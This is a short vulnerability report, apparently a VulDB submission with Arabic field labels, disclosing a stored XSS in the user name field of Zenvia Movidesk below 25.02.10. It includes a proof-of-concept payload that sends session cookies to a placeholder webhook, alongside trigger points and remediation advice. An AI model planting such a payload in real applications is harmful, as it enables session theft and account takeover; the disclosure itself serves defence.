| عنوان | zenvia movidesk < 25.02.10 Stored Cross Site Script |
|---|
| الوصف | Vulnerability Overview
A stored Cross-Site Scripting (XSS) vulnerability was identified in Zenvia Moviedesk versions below 25.02.10. This vulnerability, combined with the absence of HttpOnly protection on session cookies, can lead to account takeover.
Technical Details
The issue occurs when an administrator accesses the admin panel and creates a new user. It is possible to inject a malicious payload into the name field, which is later executed when viewing the list of users or when interacting with tickets assigned to the affected user.
POC Payload:
<img src="YOUR-WEB-HOOK-HERE?cookie=" + document.cookie>
This payload exfiltrates session cookies, allowing an attacker to hijack accounts.
Trigger Points
When an administrator navigates to the "All Users" section.
When a ticket associated with the compromised user is viewed.
Impact
Unauthorized access to administrative accounts.
Potential full compromise of the application.
Risk of privilege escalation and data leakage.
Recommendations
Sanitize and escape user input before storing/displaying it.
Implement HttpOnly and Secure flags on session cookies to prevent access via JavaScript.
Use Content Security Policy (CSP) to restrict inline script execution.
Update to version 25.02.10 or later, if a fix has been released. |
|---|
| المصدر | ⚠️ https://github.com/yago3008/cves |
|---|
| المستخدم | y4g0 (UID 80480) |
|---|
| ارسال | 10/02/2025 09:05 PM (2 سنوات منذ) |
|---|
| الاعتدال | 10/02/2025 11:58 PM (3 hours later) |
|---|
| الحالة | مكرر |
|---|
| إدخال VulDB | 294363 [Zenvia Movidesk حتى 25.01.22 New Ticket subject البرمجة عبر المواقع] |
|---|
| النقاط | 0 |
|---|